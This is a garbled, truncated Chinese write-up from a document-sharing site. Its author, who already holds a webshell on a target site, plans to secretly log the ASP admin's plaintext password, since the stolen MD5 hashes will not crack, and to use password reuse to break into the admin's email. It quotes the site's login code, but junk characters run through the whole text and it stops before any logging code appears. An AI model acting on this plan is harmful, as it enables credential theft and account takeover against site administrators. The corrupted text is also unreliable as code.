asp记录管理员账号密码

《asp记录管理员账号密码》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、asp记录管理员账号密码在一次安全检测中，其实已拿到了webshell了，但是我还要社工他的邮箱还有其他资料类，所以要得知道他的习性。4=$!_,. 下载了数据库，但是md5密码没办法解密。唉，看来只要记录他的登录管理员账号密码了！(77Dif0)' 省得还要去穷取法破解！%SFw~%@3&~ 这个密码其实说重要也不重要说不重要其实很重要。?bCTLt7k 因为很多人喜欢使用相同密码。即使是我这类安全检测人员，也免不了使用同一种账号密码的习惯。b`?M9
f5 首先看看他的后台登陆代码}_VZ <%]:Wb1 DimLo

2、gin%0VcM@"G SetLogin=newAdLogin"9.6Y* Login.ExecuteMbM:3 ClassAdLogin;
S{ZC5 PrivateExCommClsX^9t PrivateSubclass_initializeEsS!07fAM:  SetCommCls=newCommonClsRf&^th}TH  ExCommCls.IsIpAllows-y'<(ll  ExCommCls.CheckInstallFP0<-9DO  ExCommCls.GetConfigCache("*"

3、)H74NU_ EndSub{_+>"esc PrivateSubclass_terminate(}~1{C@  SetExCommCls=nothingBZ8h*

4、uT" EndSub^S>!kt7io public SubExecutetauP1&%oH{  DimAction)3d:S*ly  Action=Request("action")2-/YYe;C  SelectCaseActiona.B=3xn  Case"CheckLogin"Bx_8@+  CheckLogin9~*_(yjF  Cas

5、e"LoginOut"GN8`xR{J*  LoginOutuT@8_9  CaseElset2`X!`  LoginF`3H?*<(
  EndSelectL.R]+$U2 EndSub

6、ijW_r PrivateSubCheckLogin4l#T_y  DimAdname,AdPwd,CheckCode1L(Nfkh  AdName=ExCommCls.G(Trim(request("Adname")))1yY'hb,0  AdPwd=md5(Trim(request("AdPwd")))3w6JV+

7、?  CheckCode=ExCommCls.G(request("checkCode"))X.W#=$;$:  IfTrim(CheckCode)<>session("excheckcode")andApplication(sn&"IsCheckCode")="是"Then{&Gk.ODI7  ExCommCls.ShowMsg"验证码错误！",Application(sn&"blogurl")&"admin_login.asp"s}pGJ&C  ExitSubZ{

8、.xgsY  EndIfJh/M}%@

9、  If Trim(A

10、dName)=CStr(Application(sn&"AdName"))AndTrim(AdPwd)=CStr(Application(sn&"AdPwd"))ThencC(ubUR  Response.Cookies(Md5(SN))("AdName")=AdNameoVxV,oH(  Response.Cookies(Md5(SN))("AdPwd")=AdPwd2TevdyI  session("AdLogin")=Md5(SN):@z5&h  ExCommCls.GetConfigCache("*")IQIbOUo!

11、v  ExCommCls.GetClassCache()'AlSq:gZ  Response.Redirect(Application(sn&"blogurl")&"admin_index.asp")4<K,w{
I  ElseMX<($M  ExCommCls.ShowMsg"帐号或密码错误",Application(sn&"blogurl")&"admin_login.asp"}Rf:DmPE  EndifO(sFs1 EndSub*y"GgI PrivateSubLoginOutRcm(Y7  Response.

12、Cookies(Md5(SN))("AdName")="")QpP1
[  Response.Cookies(Md5(SN))("Ad